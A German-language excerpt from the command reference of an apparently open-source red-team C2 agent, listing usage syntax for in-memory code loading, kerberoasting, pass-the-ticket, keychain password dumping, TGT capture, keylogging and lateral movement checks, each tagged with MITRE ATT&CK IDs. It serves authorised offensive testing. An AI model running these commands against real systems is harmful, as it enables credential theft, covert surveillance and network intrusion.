inline-execute | `inline-execute` | **(Nur Windows)** Ein Beacon Object File (BOF/COFF) im Speicher ausführen. Unterstützt alle Argumenttypen: Strings (z), Wide Strings (Z), Integers (i), Shorts (s) und Binary (b).
reflective-load | `reflective-load -dll_b64 <base64_dll> [-function <export>]` | **(Nur Windows)** Ein natives PE (DLL) aus dem Speicher in den aktuellen Prozess laden. Manuelles PE-Mapping mit Abschnittskopierung, Relocation-Fixes, Importauflösung und DllMain-Aufruf. Optional exportierte Funktionen aufrufen (T1620).
iptables | `iptables -action <status\|rules\|nat\|add\|delete\|flush> [-rule <args>] [-table <name>]` | **(Nur Linux)** Linux-Firewall-Enumeration und -Verwaltung via iptables/nftables/ufw. IP-Weiterleitung, Verbindungsverfolgung, Regelauflistung und -änderung. MITRE T1562.004.
jobkill | `jobkill -id <task-uuid>` | Einen laufenden Task anhand der Task-ID stoppen. Mit `jobs` laufende Tasks auflisten. Plattformübergreifend.
jobs | `jobs` | Derzeit laufende Tasks mit Task-ID, Befehlsname und Dauer auflisten. Plattformübergreifend.
jxa | `jxa -code '<script>' [-timeout 60]` oder `jxa -file /path/to/script.js` | **(Nur macOS)** JavaScript for Automation (JXA)-Skripte mit ObjC-Bridge-Zugriff auf Foundation, AppKit, Security-Frameworks ausführen. Unterstützt Inline-Code und Dateieingabe (T1059.007).
kerberoast | `kerberoast -server <DC> -username <user@domain> -password <pass> [-spn <SPN>]` | TGS-Tickets für SPN-Konten anfordern und Hashes im Hashcat-Format zum Offline-Knacken extrahieren. Automatische Enumeration via LDAP. Plattformübergreifend (T1558.003).
klist | `klist -action <list\|purge\|dump\|import> [-server <filter>] [-ticket <base64>] [-path <path>]` | Kerberos-Tickets auflisten, leeren, dumpen und importieren. Import ermöglicht Pass-the-Ticket: Windows injiziert kirbi via LSA, Linux/macOS schreibt ccache + setzt KRB5CCNAME. Plattformübergreifend (T1558, T1550.003).
keychain | `keychain -action <list\|dump\|find-password\|find-internet\|find-cert> [-service <name>] [-server <host>]` | **(Nur macOS)** Auf macOS-Keychain zugreifen – Keychains auflisten, Metadaten dumpen, generische/Internet-Passwörter finden, Zertifikate aufzählen.
kerb-delegation | `kerb-delegation -action <all\|unconstrained\|constrained\|rbcd\|monitor> -server <DC> -username <user@domain> -password <pass> [-duration <s>] [-interval <s>]` | Kerberos-Delegierungsbeziehungen aufzählen – uneingeschränkt, eingeschränkt (mit Protokollübergang), RBCD. **monitor**-Aktion (Windows/SYSTEM only) fragt LSA nach eingehenden TGTs ab und exportiert sie als kirbi-Blobs. Plattformübergreifend außer monitor (T1550.003, T1558).
keylog | `keylog -action <start\|stop\|dump\|status\|clear>` | Low-Level-Tastatur-Logger. Windows: SetWindowsHookEx. Linux: /dev/input evdev. macOS: IOKit HID. Erkennt Ctrl+V/Cmd+V-Einfügeereignisse und erfasst Zwischenablage-Inhalt. Fensterkontextverfolgung auf allen Plattformen (T1056.001).
lateral-check | `lateral-check -hosts <IPs/CIDRs> [-timeout <seconds>]` | Laterale Bewegungsoptionen gegen Ziele testen – prüft SMB-, WinRM-, RDP-, RPC-, SSH-Konnektivität und schlägt anwendbare Methoden vor. Plattformübergreifend (T1046, T1021).
```
---
[Read more](https://github.com/galoryber/fawkes)